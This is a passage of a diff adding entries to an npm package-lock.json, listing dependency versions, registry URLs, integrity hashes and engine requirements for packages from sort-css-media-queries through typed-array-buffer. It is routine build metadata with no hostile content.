"sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==", + "dependencies": { + "faye-websocket": "^0.11.3", + "uuid": "^8.3.2", + "websocket-driver": "^0.7.4" + } + }, + "node_modules/sort-css-media-queries": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/sort-css-media-queries/-/sort-css-media-queries-2.1.0.tgz", + "integrity": "sha512-IeWvo8NkNiY2vVYdPa27MCQiR0MN0M80johAYFVxWWXQ44KU84WNxjslwBHmc/7ZL2ccwkM7/e6S5aiKZXm7jA==", + "engines": { + "node": ">= 6.3.0" + } + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-js": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/sourcemap-codec": { + "version": "1.4.8", + "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", + "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==", + "deprecated": "Please use @jridgewell/sourcemap-codec instead" + }, + "node_modules/space-separated-tokens": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-1.1.5.tgz", + "integrity": "sha512-q/JSVd1Lptzhf5bkYm4ob4iWPjx0KiRe3sRFBNrVqbJkFaBm5vbbowy1mymoPNLRa52+oadOhJ+K49wsSeSjTA==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/spdy": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.2.tgz", + "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==", + "dependencies": { + "debug": "^4.1.0", + "handle-thing": "^2.0.0", + "http-deceiver": "^1.2.7", + "select-hose": "^2.0.0", + "spdy-transport": "^3.0.0" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/spdy-transport": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz", + "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==", + "dependencies": { + "debug": "^4.1.0", + "detect-node": "^2.0.4", + "hpack.js": "^2.1.6", + "obuf": "^1.1.2", + "readable-stream": "^3.0.6", + "wbuf": "^1.7.3" + } + }, + "node_modules/spdy-transport/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==" + }, + "node_modules/stable": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz", + "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==", + "deprecated": "Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility" + }, + "node_modules/state-toggle": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/state-toggle/-/state-toggle-1.0.3.tgz", + "integrity": "sha512-d/5Z4/2iiCnHw6Xzghyhb+GcmF89bxwgXG60wjIiZaxnymbyOmI8Hk4VqHXiVVp6u2ysaskFfXg3ekCj4WNftQ==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/std-env": { + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.4.2.tgz", + "integrity": "sha512-Cw6eJDX9AxEEL0g5pYj8Zx9KXtDf60rxwS2ze0HBanS0aKhj1sBlzcsmg+R0qYy8byFa854/yR2X5ZmBSClVmg==" + }, + "node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/string-width/node_modules/ansi-regex": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/string-width/node_modules/strip-ansi": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/string.prototype.matchall": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.8.tgz", + "integrity": "sha512-6zOCOcJ+RJAQshcTvXPHoxoQGONa3e/Lqx90wUA+wEzX78sg5Bo+1tQo4N0pohS0erG9qtCqJDjNCQBjeWVxyg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "get-intrinsic": "^1.1.3", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.3", + "regexp.prototype.flags": "^1.4.3", + "side-channel": "^1.0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trim": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.7.tgz", + "integrity": "sha512-p6TmeT1T3411M8Cgg9wBTMRtY2q9+PNy9EV1i2lIXUN/btt763oIfxwN3RR8VU6wHX8j/1CFy0L+YuThm6bgOg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimend": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.6.tgz", + "integrity": "sha512-JySq+4mrPf9EsDBEDYMOb/lM7XQLulwg5R/m1r0PXEFqrV0qHvl58sdTilSXtKOflCsK2E8jxf+GKC0T07RWwQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimstart": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.6.tgz", + "integrity": "sha512-omqjMDaY92pbn5HOX7f9IccLA+U1tA9GvtU4JrodiXFfYB7jPzzHpRzpglLAjtUV6bB557zwClJezTqnAiYnQA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/stringify-object": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/stringify-object/-/stringify-object-3.3.0.tgz", + "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==", + "dependencies": { + "get-own-enumerable-property-symbols": "^3.0.0", + "is-obj": "^1.0.1", + "is-regexp": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-bom-string": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/strip-bom-string/-/strip-bom-string-1.0.0.tgz", + "integrity": "sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strip-final-newline": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/style-to-object": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-0.3.0.tgz", + "integrity": "sha512-CzFnRRXhzWIdItT3OmF8SQfWyahHhjq3HwcMNCNLn+N7klOOqPjMeG/4JSu77D7ypZdGvSzvkrbyeTMizz2VrA==", + "dependencies": { + "inline-style-parser": "0.1.1" + } + }, + "node_modules/stylehacks": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-5.1.1.tgz", + "integrity": "sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw==", + "dependencies": { + "browserslist": "^4.21.4", + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/svg-parser": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/svg-parser/-/svg-parser-2.0.4.tgz", + "integrity": "sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ==" + }, + "node_modules/svgo": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.0.tgz", + "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==", + "dependencies": { + "@trysound/sax": "0.2.0", + "commander": "^7.2.0", + "css-select": "^4.1.3", + "css-tree": "^1.1.3", + "csso": "^4.2.0", + "picocolors": "^1.0.0", + "stable": "^0.1.8" + }, + "bin": { + "svgo": "bin/svgo" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/svgo/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "engines": { + "node": ">= 10" + } + }, + "node_modules/svgo/node_modules/css-select": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz", + "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.0.1", + "domhandler": "^4.3.1", + "domutils": "^2.8.0", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/svgo/node_modules/dom-serializer": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", + "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/svgo/node_modules/domhandler": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "dependencies": { + "domelementtype": "^2.2.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/svgo/node_modules/domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "dependencies": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/svgo/node_modules/entities": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/tapable": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/terser": { + "version": "5.19.2", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.19.2.tgz", + "integrity": "sha512-qC5+dmecKJA4cpYxRa5aVkKehYsQKc+AHeKl0Oe62aYjBL8ZA33tTljktDHJSaxxMnbI5ZYw+o/S2DxxLu8OfA==", + "dependencies": { + "@jridgewell/source-map": "^0.3.3", + "acorn": "^8.8.2", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/terser-webpack-plugin": { + "version": "5.3.9", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.9.tgz", + "integrity": "sha512-ZuXsqE07EcggTWQjXUj+Aot/OMcD0bMKGgF63f7UxYcu5/AJF53aIpK1YoP5xR9l6s/Hy2b+t1AM0bLNPRuhwA==", + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.17", + "jest-worker": "^27.4.5", + "schema-utils": "^3.1.1", + "serialize-javascript": "^6.0.1", + "terser": "^5.16.8" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.1.0" + }, + "peerDependenciesMeta": { + "@swc/core": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "uglify-js": { + "optional": true + } + } + }, + "node_modules/terser-webpack-plugin/node_modules/jest-worker": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/terser-webpack-plugin/node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/terser-webpack-plugin/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/terser/node_modules/acorn": { + "version": "8.10.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.10.0.tgz", + "integrity": "sha512-F0SAmZ8iUtS//m8DmCTA0jlh6TDKkHQyK6xc6V4KDTyZKA9dnvX9/3sRTVQrWm79glUAZbnmmNcdYwUIHWVybw==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/terser/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==" + }, + "node_modules/thunky": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz", + "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==" + }, + "node_modules/tiny-invariant": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.1.tgz", + "integrity": "sha512-AD5ih2NlSssTCwsMznbvwMZpJ1cbhkGd2uueNxzv2jDlEeZdU04JQfRnggJQ8DrcVBGjAsCKwFBbDlVNtEMlzw==" + }, + "node_modules/tiny-warning": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/tiny-warning/-/tiny-warning-1.0.3.tgz", + "integrity": "sha512-lBN9zLN/oAf68o3zNXYrdCt1kP8WsiGW8Oo2ka41b2IM5JL/S1CTyX1rW0mb/zSuJun0ZUrDxx4sqvYS2FWzPA==" + }, + "node_modules/to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==", + "engines": { + "node": ">=4" + } + }, + "node_modules/to-readable-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/to-readable-stream/-/to-readable-stream-1.0.0.tgz", + "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q==", + "engines": { + "node": ">=6" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/totalist": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/totalist/-/totalist-1.1.0.tgz", + "integrity": "sha512-gduQwd1rOdDMGxFG1gEvhV88Oirdo2p+KjoYFU7k2g+i7n6AFFbDQ5kMPUsW0pNbfQsB/cwXvT1i4Bue0s9g5g==", + "engines": { + "node": ">=6" + } + }, + "node_modules/tr46": { + "version": "0.0.3", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", + "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==" + }, + "node_modules/trim": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/trim/-/trim-0.0.1.tgz", + "integrity": "sha512-YzQV+TZg4AxpKxaTHK3c3D+kRDCGVEE7LemdlQZoQXn0iennk10RsIoY6ikzAqJTc9Xjl9C1/waHom/J86ziAQ==", + "deprecated": "Use String.prototype.trim() instead" + }, + "node_modules/trim-trailing-lines": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/trim-trailing-lines/-/trim-trailing-lines-1.1.4.tgz", + "integrity": "sha512-rjUWSqnfTNrjbB9NQWfPMH/xRK1deHeGsHoVfpxJ++XeYXE0d6B1En37AHfw3jtfTU7dzMzZL2jjpe8Qb5gLIQ==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/trough": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/trough/-/trough-1.0.5.tgz", + "integrity": "sha512-rvuRbTarPXmMb79SmzEp8aqXNKcK+y0XaB298IXueQ8I2PsrATcPBCSPyK/dDNa2iWOhKlfNnOjdAOTBU/nkFA==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/tslib": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.2.tgz", + "integrity": "sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==" + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "devOptional": true, + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-fest": { + "version": "2.19.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-2.19.0.tgz", + "integrity": "sha512-RAH822pAdBgcNMAfWnCBU3CFZcfZ/i1eZjwFU/dsLKumyuuP3niueg2UAukXYF0E2AAoc82ZSSf9J0WQBinzHA==", + "engines": { + "node": ">=12.20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/type-is/node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/typed-array-buffer": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.0.tgz", + "integrity": "sha512-Y8KTSIglk9OZEr8zywiIHG/kmQ7KWyjseXs1CbSo8vC42w7hg2HgYTxSWwP0+is7bWDc1H+Fo026CpHFwm8tkw==", + "dev": true, + 